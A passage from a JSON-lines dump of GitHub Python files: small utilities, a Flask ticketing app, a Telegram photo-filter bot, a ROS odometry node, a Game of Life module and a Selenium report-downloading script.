31)\n","repo_name":"neuro-ml/bev","sub_path":"tests/test_cli.py","file_name":"test_cli.py","file_ext":"py","file_size_in_byte":5576,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"22"}
+{"seq_id":"31587446542","text":"\n# operations are valid or not\ndef check(a, n):\n \n    # count number of push operations\n    ones = 0;\n \n    # traverse in the array\n    for i in range (0, n):\n \n        # push operation\n        if (a[i]):\n            ones = ones + 1;\n \n        # pop operation\n        else:\n            ones = ones - 1;\n \n        # if at any moment pop() operations\n        # exceeds the number of push operations\n        if (ones < 0):\n            return False;\n \n    return True;\n \na = [ 1, 1, 0, 0, 1 ];\nn = len(a);\nif (check(a, n)):\n    print(\"Valid\");\nelse:\n    print(\"Invalid\");\n\n","repo_name":"SharminAkter93/Linear_project","sub_path":"valid_invalid.py","file_name":"valid_invalid.py","file_ext":"py","file_size_in_byte":569,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"25571027426","text":"import numpy as np\nfrom got10k.trackers import Tracker\nfrom external.pyCFTrackers.cftracker.mccth_staple import cal_ious\nfrom external.pyCFTrackers.cftracker.scale_estimator import LPScaleEstimator\nfrom external.pyCFTrackers.cftracker.config.mccth_staple_config import MCCTHOTBConfig\n\n\nclass Expert:\n    def __init__(self):\n        self.pos = None\n        self.rect_positions = []\n        self.centers = []\n        self.smoothes = []\n        self.smooth_score = None\n        self.smooth_scores = []\n        self.rob_scores = []\n\n\nclass MCCT(Tracker):\n    def __init__(self, n_experts, mode):\n        super(MCCT, self).__init__(f\"MCCT_{mode}\")\n\n        self.n_experts = n_experts\n\n    def init(self, image, box):\n        config = MCCTHOTBConfig()\n        self.scale_adaptation = config.scale_adaptation\n\n        self.period = config.period\n        self.expert_num = self.n_experts\n\n        self.scale_config = config.scale_config\n\n        weight_num = np.arange(self.period)\n        self.weight = 1.1 ** weight_num\n        self.mean_score = [0]\n        self.id_ensemble = []\n        self.frame_idx = -1\n        self.experts = []\n        for i in range(self.expert_num):\n            self.experts.append(Expert())\n            self.id_ensemble.append(1)\n\n        self.frame_idx += 1\n        first_frame = image.astype(np.float32)\n        bbox = np.array(box).astype(np.int64)\n        x, y, w, h = tuple(bbox)\n        self._center = (x + w / 2, y + h / 2)\n        self.w, self.h = w, h\n        self.target_sz = (self.w, self.h)\n\n        avg_dim = (w + h) / 2\n\n        if self.scale_adaptation is True:\n            self.scale_factor = 1\n            self.base_target_sz = self.target_sz\n            self.scale_estimator = LPScaleEstimator(\n                self.target_sz, config=self.scale_config\n            )\n            self.scale_estimator.init(\n                first_frame, self._center, self.base_target_sz, self.scale_factor\n            )\n\n        self.avg_dim = avg_dim\n        for i in range(self.expert_num):\n            self.experts[i].rect_positions.append(\n                [\n                    self._center[0] - self.target_sz[0] / 2,\n                    self._center[1] - self.target_sz[1] / 2,\n                    self.target_sz[0],\n                    self.target_sz[1],\n                ]\n            )\n            self.experts[i].rob_scores.append(1)\n            self.experts[i].smoothes.append(0)\n            self.experts[i].smooth_scores.append(1)\n            self.experts[i].centers.append((self._center[0], self._center[1]))\n\n    def update(self, image, bboxes):\n        self.frame_idx += 1\n        current_frame = image\n\n        for i in range(self.expert_num):\n            x, y, w, h = tuple(bboxes[i])\n            center = (x + w / 2, y + h / 2)\n            self.experts[i].pos = center\n            self.experts[i].rect_positions.append(bboxes[i])\n            self.experts[i].centers.append(center)\n\n            pre_center = self.experts[i].centers[self.frame_idx - 1]\n            smooth = np.sqrt(\n                (center[0] - pre_center[0]) ** 2 + (center[1] - pre_center[1]) ** 2\n            )\n            self.experts[i].smoothes.append(smooth)\n            self.experts[i].smooth_scores.append(\n                np.exp(-smooth ** 2 / (2 * self.avg_dim ** 2))\n            )\n\n        if self.frame_idx >= self.period - 1:\n            for i in range(self.expert_num):\n                self.experts[i].rob_scores.append(\n                    self.robustness_eva(\n                        self.experts,\n                        i,\n                        self.frame_idx,\n                        self.period,\n                        self.weight,\n                        self.expert_num,\n                    )\n                )\n\n                self.id_ensemble[i] = self.experts[i].rob_scores[self.frame_idx]\n            self.mean_score.append(np.sum(np.array(self.id_ensemble)) / self.expert_num)\n            idx = np.argmax(np.array(self.id_ensemble))\n            self._center = self.experts[idx].pos\n        else:\n            for i in range(self.expert_num):\n                self.experts[i].rob_scores.append(1)\n            self._center = self.experts[-1].pos\n            self.mean_score.append(0)\n\n        if self.scale_adaptation:\n            try:\n                self.scale_factor = self.scale_estimator.update(\n                    current_frame, self._center, self.base_target_sz, self.scale_factor\n                )\n                self.target_sz = (\n                    round(self.base_target_sz[0] * self.scale_factor),\n                    round(self.base_target_sz[1] * self.scale_factor),\n                )\n            except Exception as e:\n                print(e)\n\n        return [\n            self._center[0] - self.target_sz[0] / 2,\n            self._center[1] - self.target_sz[1] / 2,\n            self.target_sz[0],\n            self.target_sz[1],\n        ]\n\n    def robustness_eva(self, experts, num, frame_idx, period, weight, expert_num):\n        overlap_score = np.zeros((period, expert_num))\n        for i in range(expert_num):\n            bboxes1 = np.array(experts[i].rect_positions)[\n                frame_idx - period + 1 : frame_idx + 1\n            ]\n            bboxes2 = np.array(experts[num].rect_positions)[\n                frame_idx - period + 1 : frame_idx + 1\n            ]\n            overlaps = cal_ious(bboxes1, bboxes2)\n            overlap_score[:, i] = np.exp(-(1 - overlaps) ** 2 / 2)\n        avg_overlap = np.sum(overlap_score, axis=1) / expert_num\n        expert_avg_overlap = np.sum(overlap_score, axis=0) / period\n        var_overlap = np.sqrt(\n            np.sum((overlap_score - expert_avg_overlap[np.newaxis, :]) ** 2, axis=1)\n            / expert_num\n        )\n        norm_factor = 1 / np.sum(np.array(weight))\n        weight_avg_overlap = norm_factor * (weight.dot(avg_overlap))\n        weight_var_overlap = norm_factor * (weight.dot(var_overlap))\n        pair_score = weight_avg_overlap / (weight_var_overlap + 0.008)\n        smooth_score = experts[num].smooth_scores[\n            frame_idx - period + 1 : frame_idx + 1\n        ]\n        self_score = norm_factor * np.sum(np.array(smooth_score) * weight)\n        eta = 0.1\n        reliability = eta * pair_score + (1 - eta) * self_score\n        return reliability\n","repo_name":"songheony/AAA-WACV","sub_path":"mcct.py","file_name":"mcct.py","file_ext":"py","file_size_in_byte":6276,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"22"}
+{"seq_id":"8404512665","text":"# -*- coding: utf-8 -*-\nfrom CommandInterface import CommandInterface\nfrom IRCMessage import IRCMessage\nfrom IRCResponse import IRCResponse, ResponseType\n\n\nclass Help(CommandInterface):\n    triggers = ['help', 'command', 'commands']\n    help = 'help/command(s) (<module>) - returns a list of loaded command modules, ' \\\n           'or the help text of a particular module if one is specified'\n\n    def execute(self, message):\n        \"\"\"\n        @type message: IRCMessage\n        \"\"\"\n        moduleHandler = self.bot.moduleHandler\n\n        if len(message.ParameterList) > 0:\n            if message.ParameterList[0].lower() in moduleHandler.mappedTriggers:\n                funcHelp = moduleHandler.mappedTriggers[message.ParameterList[0].lower()].help\n                if isinstance(funcHelp, basestring):\n                    return IRCResponse(ResponseType.Say, funcHelp, message.ReplyTo)\n                else:\n                    return IRCResponse(ResponseType.Say, funcHelp(message), message.ReplyTo)\n\n            elif message.ParameterList[0].lower() in moduleHandler.commandCaseMapping:\n                func = moduleHandler.commands[moduleHandler.commandCaseMapping[message.ParameterList[0].lower()]]\n                if isinstance(func.help, basestring):\n                    return IRCResponse(ResponseType.Say, func.help, message.ReplyTo)\n                else:\n                    return IRCResponse(ResponseType.Say, func.help(message), message.ReplyTo)\n\n            else:\n                return IRCResponse(ResponseType.Say,\n                                   '\"{0}\" not found, try \"{1}\" without parameters '\n                                   'to see a list of loaded module names'.format(message.ParameterList[0],\n                                                                                 message.Command),\n                                   message.ReplyTo)\n        else:\n            funcs = ', '.join(sorted(moduleHandler.commands.iterkeys(), key=lambda s: s.lower()))\n            return [IRCResponse(ResponseType.Say,\n                                \"Command modules loaded are (use 'help <module>' to get help for that module):\",\n                                message.ReplyTo),\n                    IRCResponse(ResponseType.Say,\n                                funcs,\n                                message.ReplyTo)]\n","repo_name":"Heufneutje/PyMoronBot","sub_path":"Commands/Help.py","file_name":"Help.py","file_ext":"py","file_size_in_byte":2338,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"22"}
+{"seq_id":"917704580","text":"import random\r\nimport json\r\n\r\n# DmgTypes: 0 - Phisical / 1 - Fire / 2 - Cold / 3 - Electric\r\n\r\n# {id : [\"Name\", SpeedMod, BaseDmg, DmgType]}\r\ndictMonsterAttacks =    {\r\n                        1 : [\"Punch\", 0, 4, 0], \r\n                        2 : [\"Kick\", -1, 6, 0]\r\n                        }\r\n\r\n# {id : [\"Name\", HPmax, AC, Speed, [Attack1, Attack2, ...]]}\r\ndictMonsters =  {\r\n                1 : [\"Goblin\", 7, 10, 12, [1, 2]], \r\n                2 : [\"Deserter\", 12, 12, 9, [1, 2]]\r\n                }\r\n\r\ndef getRandomMonster():\r\n    return (dictMonsters[random.choice(list(dictMonsters.keys()))])\r\n","repo_name":"alejandrozt/BasicRPG-Python","sub_path":"GenMonster.py","file_name":"GenMonster.py","file_ext":"py","file_size_in_byte":598,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"37248963021","text":"from flask import Blueprint, redirect, url_for, render_template, request, session, flash\nfrom datetime import date\n\ntickets = Blueprint(\"tickets\", __name__, static_folder=\"static\", template_folder=\"template\")\n\nfrom functions import logged_out, group_check, empty, project_check\n\nfrom connection import query\n\n@tickets.route(\"/your_tickets/\", methods=[\"POST\", \"GET\"])\ndef tasks():\n    \"\"\"\n    Displays the tickets of the user\n    \"\"\"\n\n    if(logged_out()):\n        return redirect(url_for(\"start.login\"))\n    \n    record = (session[\"id\"], False)\n    select_tickets = query(\"\"\"SELECT tickets.TicketName, tickets.TicketDescription, groups.GroupName, projects.ProjectName, \n                            groups.GroupID, projects.ProjectID, tickets.TicketID FROM tickets \n                            INNER JOIN projects ON tickets.ProjectID = projects.ProjectID\n                            INNER JOIN groups ON projects.GroupID = groups.GroupID\n                            WHERE tickets.UserID = %s AND tickets.Completed = %s\"\"\", record)\n    \n    record = (session[\"id\"], True)\n    completed_tickets = query(\"\"\"SELECT tickets.TicketName, tickets.TicketDescription, groups.GroupName, projects.ProjectName, \n                            groups.GroupID, projects.ProjectID, tickets.TicketID FROM tickets \n                            INNER JOIN projects ON tickets.ProjectID = projects.ProjectID\n                            INNER JOIN groups ON projects.GroupID = groups.GroupID\n                            WHERE tickets.UserID = %s AND tickets.Completed = %s\"\"\", record)\n\n    return render_template(\"Tickets/your_tickets.html\", tickets = select_tickets, completed = completed_tickets)\n\n@tickets.route(\"/<number>/<number2>/\", methods=[\"POST\", \"GET\"])\ndef ticket(number,number2):\n    \"\"\"\n    Displays the ticket of the project\n    \"\"\"\n\n    if(logged_out()):\n        return redirect(url_for(\"start.login\"))\n\n    if not(group_check(number, session[\"id\"]) and project_check(number2, session[\"id\"])):\n        return redirect(url_for(\"group.groups\"))\n\n    record = (number2, False)\n    select_tickets = query(\"\"\"SELECT TicketID, tickets.UserID, ProjectID, TicketDescription, TicketName FROM tickets\n                            WHERE ProjectID = %s AND Completed = %s ORDER BY UserID\"\"\", record) \n\n    record = (number2, True)\n    select_completed = query(\"\"\"SELECT TicketID, UserID, ProjectID, TicketDescription, TicketName FROM tickets\n                            WHERE ProjectID = %s AND Completed = %s\"\"\", record)\n    \n    record = (number2,)\n    select_project = query(\"\"\"SELECT ProjectName, ProjectDescription, Manager FROM projects\n                            WHERE ProjectID = %s\"\"\", record)\n\n    return render_template(\"Tickets/tickets.html\", tickets=select_tickets, completed=select_completed, project_name=select_project[0][0], project_description=select_project[0][1], \n                            manager=select_project[0][2], user_id=session[\"id\"], project_id=number2, group_id=number)\n\n@tickets.route(\"/delete_ticket/<number>/<number2>/<number3>/\", methods=[\"POST\", \"GET\"])\ndef delete_ticket(number,number2,number3):\n    \"\"\"\n    Deletes the ticket\n    \"\"\"\n\n    if(logged_out()):\n        return redirect(url_for(\"start.login\"))\n\n    if not(group_check(number, session[\"id\"]) and project_check(number2, session[\"id\"])):\n        return redirect(url_for(\"group.groups\"))\n\n    record = (number3,)\n    query(\"\"\" DELETE FROM tickets \n              WHERE TicketID = %s\"\"\", record)\n\n    flash(\"Ticket deleted successfully\")\n    \n    return redirect(\"/tickets/\"+number+\"/\"+number2)\n\n@tickets.route(\"/new_ticket/<number>/<number2>/\", methods=[\"POST\", \"GET\"])\ndef new_ticket(number,number2):\n    \"\"\"\n    Creates a new ticket\n    \"\"\"\n\n    if(logged_out()):\n        return redirect(url_for(\"start.login\"))\n\n    if not(project_check(number2, session[\"id\"])):\n        return redirect(url_for(\"group.groups\"))\n\n    message = \"\"\n    if request.method == \"POST\":\n        name = request.form[\"Name\"]\n        description = request.form[\"Description\"]\n\n        record = (name,)\n        select_project = query(\"\"\"SELECT TicketName FROM tickets WHERE TicketName = %s\"\"\", record)\n\n        try:\n            name_check = not empty(select_project)\n        except:\n            name_check = True\n        \n        try:\n            captcha = request.form['captcha']\n            captcha = True\n        except:\n            captcha = False\n        \n        if not(captcha):\n            message += \"Invalid captcha<br>\"\n        if(empty(name) or empty(description)):\n            message += \"Please fill in all fields<br>\"\n        if (len(name)>20):\n            message += \"Name is too long<br>\"\n        if(name_check):\n            message += \"This ticket name is already taken<br>\"\n        if(len(description)>1024):\n            message += \"The description is too long, max 256 characters<br>\"\n\n        if(empty(message)):\n            manager = session[\"id\"]\n\n            record = (number2, description, name)\n            query(\"\"\"\n                INSERT INTO tickets (ProjectID, TicketDescription, TicketName)\n                VALUES (%s, %s, %s);\"\"\", record)\n\n            flash(\"Ticket created successfully\")\n            return redirect(\"/tickets/\" + number + \"/\" + number2)\n\n    record = (number2,)\n    select_project = query(\"\"\"SELECT ProjectName FROM projects\n                            WHERE ProjectID = %s\"\"\", record)\n\n    return render_template(\"Tickets/new_ticket.html\", project_id=number2, project_name=select_project[0][0], message=message, showMessage = not empty(message))\n\n@tickets.route(\"/view_tickets/<number>/<number2>/<number3>\", methods=[\"POST\", \"GET\"])\ndef view_ticket(number,number2,number3):\n    \"\"\"\n    Displays the ticket details\n    \"\"\"\n\n    if(logged_out()):\n        return redirect(url_for(\"start.login\"))\n    \n    if not(group_check(number, session[\"id\"]) and project_check(number2, session[\"id\"])):\n        return redirect(url_for(\"group.groups\"))\n    \n    record = (number2,)\n    manager = query(\"\"\"SELECT Manager FROM projects \n                       WHERE ProjectID = %s\"\"\", record)\n    manager = manager[0][0]\n\n    record = (number3,)\n    select_ticket = query(\"\"\"SELECT tickets.TicketName, tickets.TicketDescription, tickets.Completed, tickets.DateCompleted, tickets.UserID FROM tickets \n                            WHERE tickets.ticketID = %s\"\"\", record)\n    \n    select_user = query(\"\"\"SELECT user.Username From tickets\n                            INNER JOIN user ON\n                            tickets.UserID = user.UserID\n                            WHERE tickets.ticketID = %s\"\"\", record)\n    \n    if not empty(select_user):\n        taken_user = select_user[0][0]\n        taken = True\n    else:\n        taken_user = False\n        taken = False\n    \n    started = not select_ticket[0][4] == None\n    \n    return render_template(\"Tickets/view_ticket.html\", ticket = select_ticket[0], group_id = number, project_id = number2, ticket_id = number3, \n                            taken_user = taken_user, started = started, taken = taken, user = session[\"id\"], manager = manager)\n\n@tickets.route(\"/complete/<number>/<number2>/<number3>/\", methods=[\"POST\", \"GET\"])\ndef complete_ticket(number,number2,number3):\n    \"\"\"\n    Marks the ticket as complete\n    \"\"\"\n\n    if(logged_out()):\n        return redirect(url_for(\"start.login\"))\n\n    if not(group_check(number, session[\"id\"]) and project_check(number2, session[\"id\"])):\n        return redirect(url_for(\"group.groups\"))\n\n    record = (number3,)\n    select_ticket = query(\"\"\"SELECT tickets.Completed FROM tickets\n                             WHERE TicketID = %s\"\"\", record)\n\n    if not(select_ticket[0][0]):\n        record = (True, date.today().strftime(\"%Y/%m/%d\"), session[\"id\"], number3)\n        query(\"\"\" UPDATE tickets \n                SET Completed = %s, DateCompleted = %s, UserID = %s\n                WHERE TicketID = %s\"\"\", record)\n\n        flash(\"Ticket Completed\")\n    else:\n        flash(\"This ticket has already been completed\")\n\n    \n    \n    return redirect(\"/tickets/\"+number+\"/\"+number2)\n\n@tickets.route(\"/drop/<number>/<number2>/<number3>/\", methods=[\"POST\", \"GET\"])\ndef drop_ticket(number,number2,number3):\n    \"\"\"\n    Allows users to drop a ticket\n    \"\"\"\n\n    if(logged_out()):\n        return redirect(url_for(\"start.login\"))\n\n    if not(group_check(number, session[\"id\"]) and project_check(number2, session[\"id\"])):\n        return redirect(url_for(\"group.groups\"))\n\n    record = (number3, session[\"id\"])\n    select_ticket = query(\"\"\"SELECT tickets.UserID FROM tickets\n                             WHERE TicketID = %s AND UserID = %s\"\"\", record)\n\n    if not(select_ticket[0][0] == None):\n        record = (None, number3)\n        query(\"\"\" UPDATE tickets \n                SET UserID = %s\n                WHERE TicketID = %s\"\"\", record)\n\n        flash(\"Ticket dropped\")\n    else:\n        flash(\"You currently aren't doing this ticket\")\n\n    \n    \n    return redirect(\"/tickets/\"+number+\"/\"+number2)\n\n@tickets.route(\"/start/<number>/<number2>/<number3>/\", methods=[\"POST\", \"GET\"])\ndef start_ticket(number,number2,number3):\n    \"\"\"\n    Allows users to start a ticket\n    \"\"\"\n    \n    if(logged_out()):\n        return redirect(url_for(\"start.login\"))\n\n    if not(group_check(number, session[\"id\"]) and project_check(number2, session[\"id\"])):\n        return redirect(url_for(\"group.groups\"))\n\n    record = (number3,)\n    select_ticket = query(\"\"\"SELECT tickets.UserID FROM tickets\n                             WHERE TicketID = %s\"\"\", record)\n\n    print(select_ticket)\n    if (select_ticket[0][0] == None):\n        record = (session[\"id\"], number3)\n        query(\"\"\" UPDATE tickets \n                SET UserID = %s\n                WHERE TicketID = %s\"\"\", record)\n\n        flash(\"Ticket started\")\n    else:\n        flash(\"This ticket is currently preocuppied by someone else\")\n\n    \n    \n    return redirect(\"/tickets/\"+number+\"/\"+number2)","repo_name":"Bhavik-Gilbert/Ticketing-System","sub_path":"tickets.py","file_name":"tickets.py","file_ext":"py","file_size_in_byte":9892,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"72045009337","text":"import json\r\nfo=open(r\"./data/school.csv\",\"r\",encoding='gbk')  #打开csv文件\r\nls=[]\r\nfor line in fo:\r\n    line=line.replace('\\n','').replace('\\r\\n','').replace('\\\\r','').replace('\\\"','').replace('\\\\','').replace('\\r','') #将换行换成空\r\n    ls.append(line.split(\",\"))  #以，为分隔符\r\nfo.close()  #关闭文件流\r\n# print(ls)\r\nnew_ls = []\r\n# fw=open(\"./all.json\",\"w\",encoding=\"utf-8\")  #打开json文件\r\nfor i in range(1,len(ls)):  #遍历文件的每一行内容，除了列名\r\n    ls[i]=dict(zip(ls[0],ls[i]))  #ls[0]为列名，所以为key,ls[i]为value,\r\n    #zip()是一个内置函数，将两个长度相同的列表组合成一个关系对\r\nprint(ls)\r\nwith open(\".data/entry.json\",\"w\",encoding=\"utf-8\") as fw:\r\n    for j in range(1,len(ls)):\r\n        fw.write(json.dumps(ls[j], ensure_ascii=False) + '\\n')\r\n\r\n","repo_name":"harshjourney/Neo4j-ASR","sub_path":"qmrw/build_schoolgraph.py","file_name":"build_schoolgraph.py","file_ext":"py","file_size_in_byte":834,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"9571450893","text":"\"\"\"\nModule implementing the core Game of Life algorithm\n\"\"\"\n\ndef get_neighbours(cell):\n    \"\"\"\n    Yields each neighbouring cell co-ordinate\n    \"\"\"\n    yield (cell[0] - 1, cell[1] - 1)\n    yield (cell[0], cell[1] - 1)\n    yield (cell[0] + 1, cell[1] - 1)\n    yield (cell[0] - 1, cell[1])\n    yield (cell[0] + 1, cell[1])\n    yield (cell[0] - 1, cell[1] + 1)\n    yield (cell[0], cell[1] + 1)\n    yield (cell[0] + 1, cell[1] + 1)\n\ndef simulate(initial_world, iterations=1):\n    \"\"\"\n    Takes a starting world state and performs a number of iterations of the\n    Game of Life upon it.  Returns the final world state.\n    \"\"\"\n    world = initial_world.copy()\n\n    for _ in range(iterations):\n        new_world = set()\n\n        for cell in world:\n\n            # For all neighbours, check if any empty node has 3 living\n            # neighbours. If so, add a new living cell to new_world.\n            new_world.update(\n                [\n                    neighbour\n                    for neighbour\n                    in [x for x in get_neighbours(cell) if x not in world]\n                    if len([x for x in get_neighbours(neighbour) if x in world]) == 3\n                ]\n            )\n\n            # If cell remains alive, add it to new_world\n            if 2 <= len([x for x in get_neighbours(cell) if x in world]) <= 3:\n                new_world.add(cell)\n\n            # Cells with < 2 or > 3 neighbours are not added to new_world,\n            # therefore they die\n\n        world = new_world.copy()\n\n    return world\n","repo_name":"polaris64/python_gol","sub_path":"gol.py","file_name":"gol.py","file_ext":"py","file_size_in_byte":1523,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"9698787422","text":"import telebot\nfrom telebot import types\n\nfrom config import TELEGRAM_TOKEN\nfrom filters.CartoonFilter import Cartoonizer\nfrom filters.CoolFilter import Cool\nfrom filters.NegativeFilter import Negative\nfrom filters.VintageFilter import Vintage\n\nbot = telebot.TeleBot(TELEGRAM_TOKEN)\nnegative = Negative()\ncartoon = Cartoonizer()\nvintage = Vintage()\ncool = Cool()\n\nrun_keyboard = types.ReplyKeyboardMarkup()\nrun_btn = types.KeyboardButton('filter')\nrun_keyboard.add(run_btn)\n\n\n@bot.message_handler(commands=['start', 'help'])\ndef welcome(message):\n    bot.send_message(message.from_user.id,\n                     \"Hi!\\nI'm a bot for applying filters to your photos\\nTo start, run the command \\\"/run\\\" or click \"\n                     \"on the \\\"filter\\\" button\",\n                     reply_markup=run_keyboard)\n\n\n@bot.message_handler(func=lambda message: message.text == 'filter')\ndef filter_btn_fun(message):\n    do_filter(message)\n\n\n@bot.message_handler(commands=['run'])\ndef do_filter(message):\n    keyboard = types.InlineKeyboardMarkup(row_width=2)\n    cartoon_btn = types.InlineKeyboardButton(text='Cartoon', callback_data='cartoon')\n    keyboard.add(cartoon_btn)\n    negative_btn = types.InlineKeyboardButton(text='Negative', callback_data='negative')\n    keyboard.add(negative_btn)\n    vintage_btn = types.InlineKeyboardButton(text='Vintage', callback_data='vintage')\n    keyboard.add(vintage_btn)\n    cool_btn = types.InlineKeyboardButton(text='Cool', callback_data='cool')\n    keyboard.add(cool_btn)\n    bot.send_message(message.from_user.id, \"Choose one or more filters from the suggested ones below\",\n                     reply_markup=keyboard)\n\n\n@bot.callback_query_handler(func=lambda call: True)\ndef callback_worker(call):\n    if call.data == \"cartoon\":\n        bot.send_message(call.message.chat.id, \"Now upload your photo or picture\")\n        bot.register_next_step_handler(call.message, cartoon_photo)\n    elif call.data == \"negative\":\n        bot.send_message(call.message.chat.id, \"Now upload your photo or picture\")\n        bot.register_next_step_handler(call.message, negative_photo)\n    elif call.data == \"vintage\":\n        bot.send_message(call.message.chat.id, \"Now upload your photo or picture\")\n        bot.register_next_step_handler(call.message, vintage_photo)\n    elif call.data == \"cool\":\n        bot.send_message(call.message.chat.id, \"Now upload your photo or picture\")\n        bot.register_next_step_handler(call.message, cool_photo)\n    else:\n        do_filter(call.message)\n\n\ndef cartoon_photo(message):\n    photo = get_photo(message)\n    bot.send_photo(message.chat.id, cartoon.render(photo))\n\n\ndef negative_photo(message):\n    photo = get_photo(message)\n    bot.send_photo(message.chat.id, negative.render(photo))\n\n\ndef vintage_photo(message):\n    photo = get_photo(message)\n    bot.send_photo(message.chat.id, vintage.render(photo))\n\n\ndef cool_photo(message):\n    photo = get_photo(message)\n    bot.send_photo(message.chat.id, cool.render(photo))\n\n\ndef get_photo(message):\n    if message.content_type == 'document':\n        return bot.download_file(bot.get_file(message.document.file_id).file_path)\n    elif message.content_type == 'photo':\n        return bot.download_file(bot.get_file(message.photo[-1].file_id).file_path)\n\n\nbot.infinity_polling()\n","repo_name":"machikhin-ka/filter-network","sub_path":"telegram-bot.py","file_name":"telegram-bot.py","file_ext":"py","file_size_in_byte":3284,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"38797181851","text":"import sys\r\n\r\ndef cut(x, y, n):\r\n    global zero, one, ans\r\n\r\n    num = arr[x][y]\r\n\r\n    for i in range(x, x+n):\r\n        for j in range(y, y+n):\r\n            if num != arr[i][j]:\r\n                ans += '('\r\n                cut(x, y, n//2)\r\n                cut(x, y+n//2, n//2)\r\n                cut(x+n//2, y, n//2)\r\n                cut(x+n//2, y+n//2, n//2)\r\n                ans += ')'\r\n                return\r\n\r\n    ans += str(num)\r\n    if num == 1:\r\n        one += 1\r\n    else:\r\n        zero += 1\r\n\r\nif __name__ == '__main__':\r\n    n = int(sys.stdin.readline())\r\n    arr = [list(map(int,sys.stdin.readline().rstrip())) for _ in range(n)]\r\n    zero, one = 0, 0\r\n    ans = ''\r\n\r\n    cut(0, 0, n)\r\n    print(ans)\r\n","repo_name":"slow-wave/Baekjoon-Algorithm","sub_path":"백준/Silver/1992. 쿼드트리/쿼드트리.py","file_name":"쿼드트리.py","file_ext":"py","file_size_in_byte":715,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"25329753167","text":"#!/usr/bin/env python\n\nimport rospy\nimport tf\nfrom nav_msgs.msg import Odometry\nfrom geometry_msgs.msg import Pose, Point, Quaternion, Twist\n\nclass TFtoOdometryConverter:\n    def __init__(self):\n        rospy.init_node('tf_to_odometry_converter')\n\n        # Initialize a TF listener\n        self.tf_listener = tf.TransformListener()\n\n        # Publisher for odometry messages\n        self.odom_pub = rospy.Publisher('/robot1/odometry', Odometry, queue_size=10)\n\n        # Run the conversion loop\n        self.convert_tf_to_odometry()\n\n    def convert_tf_to_odometry(self):\n        rate = rospy.Rate(10)  # Hz\n        while not rospy.is_shutdown():\n            try:\n                # Lookup the transform between \"/world_origin\" and \"/robot1/chassis_link\"\n                (trans, rot) = self.tf_listener.lookupTransform('world_origin', 'robot1/chassis_link', rospy.Time(0))\n                tf_timestamp = self.tf_listener.getLatestCommonTime('world_origin', 'robot1/chassis_link')\n                # Create and populate the odometry message\n                odom_msg = Odometry()\n                odom_msg.header.stamp = tf_timestamp\n                odom_msg.header.frame_id = \"map\"\n                odom_msg.child_frame_id = \"/robot1/chassis_link\"\n                odom_msg.pose.pose = Pose(Point(*trans), Quaternion(*rot))\n                odom_msg.twist.twist = Twist()\n\n                # Publish the odometry message\n                self.odom_pub.publish(odom_msg)\n\n            except (tf.LookupException, tf.ConnectivityException, tf.ExtrapolationException):\n                rospy.logwarn(\"TF lookup failed. Retrying...\")\n\n            rate.sleep()\n\nif __name__ == '__main__':\n    try:\n        TFtoOdometryConverter()\n    except rospy.ROSInterruptException:\n        pass\n\n","repo_name":"Zdeeno/vtr-sim-ws","sub_path":"ws/src/navigation_unity_core/scripts/tf2odom.py","file_name":"tf2odom.py","file_ext":"py","file_size_in_byte":1769,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"34844988037","text":"# Write a Python script to concatenate \n# the following dictionaries to create a new one.\n# Sample Dictionary :\ndict1={1:10, 2:20}\ndict2={3:30, 4:40}\ndict3={5:50,6:60}\n# Expected Result : {1: 10, 2: 20, 3: 30, 4: 40, 5: 50, 6: 60}\ndict4 = {}\nd=0\nfor d in (dict1, dict2, dict3): dict4.update(d)\nprint(dict4)","repo_name":"JianreiliuThaimei/dictionary","sub_path":"Docs.Question7.py","file_name":"Docs.Question7.py","file_ext":"py","file_size_in_byte":306,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"6587310150","text":"#downloads project detail reports from the web and places them in the correct project folder created by makeFolders.py\n\nimport os, openpyxl, time, shutil\nfrom selenium import webdriver\nfrom selenium.webdriver.common.keys import Keys\n\nwb = openpyxl.load_workbook('ProjectSummary.xlsx')\nsheet = wb.active\n\nbrowser = webdriver.Firefox()\nbrowser.get('https://safetynet.predictivesolutions.com/CRMApp/default_login.jsp?loginZoneID=10459&originalHostName=jdc.predictivesolutions.com')\n\nuserElem = browser.find_element_by_id('username')\nuserElem.send_keys('temp')\npassElem = browser.find_element_by_id('password')\npassElem.send_keys('temp')\npassElem.submit()\n\ntime.sleep(3)\nlinkElem = browser.find_element_by_link_text('Reports')\nlinkElem.click()\ntime.sleep(2)\nlinkElem = browser.find_element_by_link_text('Detail Report')\nlinkElem.click()\ntime.sleep(4)\n\ndef pdfToFolder(projectName):\n    os.chdir('/home/gmclaughlin/Downloads')\n    if projectName.find(\"DEM\") != -1:\n        shutil.move('/home/gmclaughlin/Downloads/Detail Report - Basic.pdf','/home/gmclaughlin/Python/Safety Project/Demo/%s/%s-Detail Report.pdf' % (projectName, projectName))\n\n    elif projectName.find(\"JDC\") != -1:\n        shutil.move('/home/gmclaughlin/Downloads/Detail Report - Basic.pdf','/home/gmclaughlin/Python/Safety Project/JDC/%s/%s-Detail Report.pdf' % (projectName, projectName))\n\n    elif projectName.find(\"NEW\") != -1:\n        shutil.move('/home/gmclaughlin/Downloads/Detail Report - Basic.pdf','/home/gmclaughlin/Python/Safety Project/NewRoads/%s/%s-Detail Report.pdf' % (projectName, projectName))\n\n    elif projectName.find(\"Site\") != -1:\n        shutil.move('/home/gmclaughlin/Downloads/Detail Report - Basic.pdf','/home/gmclaughlin/Python/Safety Project/SiteCrew/%s/%s-Detail Report.pdf' % (projectName, projectName))\n\n    else:\n        